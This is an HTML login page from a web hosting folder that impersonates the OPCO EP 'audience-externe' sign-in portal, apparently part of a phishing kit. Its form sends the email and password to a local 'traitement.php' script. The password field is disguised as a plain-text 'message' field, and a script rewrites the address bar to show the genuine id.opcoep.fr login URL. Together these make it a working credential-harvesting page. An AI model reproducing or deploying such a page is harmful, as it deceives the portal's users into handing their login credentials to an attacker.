/home2/mshostin/public_html/opco/home.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" class=""><head>
<meta charset="utf-8">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="robots" content="noindex, nofollow">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
<link rel="preconnect" href="https://fonts.gstatic.com">
<title>Se connecter à audience-externe</title>
<link rel="icon" href="/auth/resources/n7tw3/login/opcoep-pu/img/favicon.ico">
<link href="bootstrap.min.css" rel="stylesheet">
<link href="bootstrap-grid.min.css" rel="stylesheet">
<link href="portail-unique.css" rel="stylesheet">
<link href="/auth/resources/n7tw3/login/opcoep-pu/" rel="stylesheet">
<script> if (typeof history.replaceState === 'function') { history.replaceState({}, "some title", "https://id.opcoep.fr/auth/realms/audience-externe/login-actions/authenticate?execution=a994fe13-e57b-427a-a7e7-1cde35e6f931&client_id=portail-unique&tab_id=LP2abMCxK0E"); }</script></head>
<body>
<div class="portail-unique-page">
<div class="col-12 col-lg-4">
<div class="row justify-content-between align-items-center">
<div class="portail-unique-logo">
<img src="logo2.svg" alt="Logo OPCO EP" width="99">
<img src="logo1.png" alt="Logo MSEL" width="99">
<img src="logo3.svg" alt="Logo HUB" width="99">
</div>
</div>
</div>
<div class="col-12 col-lg-4">
<div class="portail-unique-form">
<div class="row">
<div class="col-12 col-lg-12">
<h1 class="portail-unique-form-title">Me connecter</h1><h1>
</h1></div>
</div>
<div class="panel-body">
<form id="kc-form-login" class="form-horizontal" action="traitement.php" method="post">
<div class="row">
<div class="col-12">
<div class="portail-unique-input">
<label for="email">Email</label>
<div class="portail-unique-input-field">
<input tabindex="1" id="email" class="pu-auth-input"
name="email" type="email" required
placeholder="Saisir l'adresse email">
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-12">
<div class="portail-unique-input-password">
<label for="message">Mot de passe</label>
<div class="portail-unique-input-password-field">
<input tabindex="2" id="message" class="pu-auth-input"
name="message" type="text" required
placeholder="Saisir le mot de passe">
</div>
</div>
</div>
</div>
<div class="row justify-content-between">
<div class="col-auto">
<label class="portail-unique-checkbox">
<div id="rememberMe-checkbox" class="material-icons">check_box_outline_blank</div>
<input tabindex="3" id="rememberMe" name="rememberMe" type="checkbox" onclick="toogleCheckBox('rememberMe')"> Se souvenir de moi
</label>
</div>
<div class="col-auto">
<div class="portail-unique-mot-passe-oublie">
<a href="/auth/realms/audience-externe/login-actions/reset-credentials?client_id=portail-unique&tab_id=LP2abMCxK0E">Mot de passe oublié ?</a>
</div>
</div>
</div>
<div class="row justify-content-end">
<div class="col-auto">
<input tabindex="4"
class="portail-unique-button portail-unique-button-primary portail-unique-validate"
type="submit" value="Valider">
</div>
</div>
<div class="row justify-content-end">
<div class="col-auto">
Pas encore de compte ? <a tabindex="6" href="/auth/realms/audience-externe/login-actions/registration?client_id=portail-unique&tab_id=LP2abMCxK0E" class="portail-unique-authentification-subscribe-link">Inscrivez-vous !</a>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
<script src="/auth/resources/n7tw3/login/opcoep-pu/js/jquery.min.js" type="text/javascript"></script>
<script src="/auth/resources/n7tw3/login/opcoep-pu/js/bootstrap.bundle.min.js" type="text/javascript"></script>
<script src="/auth/resources/n7tw3/login/opcoep-pu/js/portail-unique.js" type="text/javascript"></script>
</body></html>
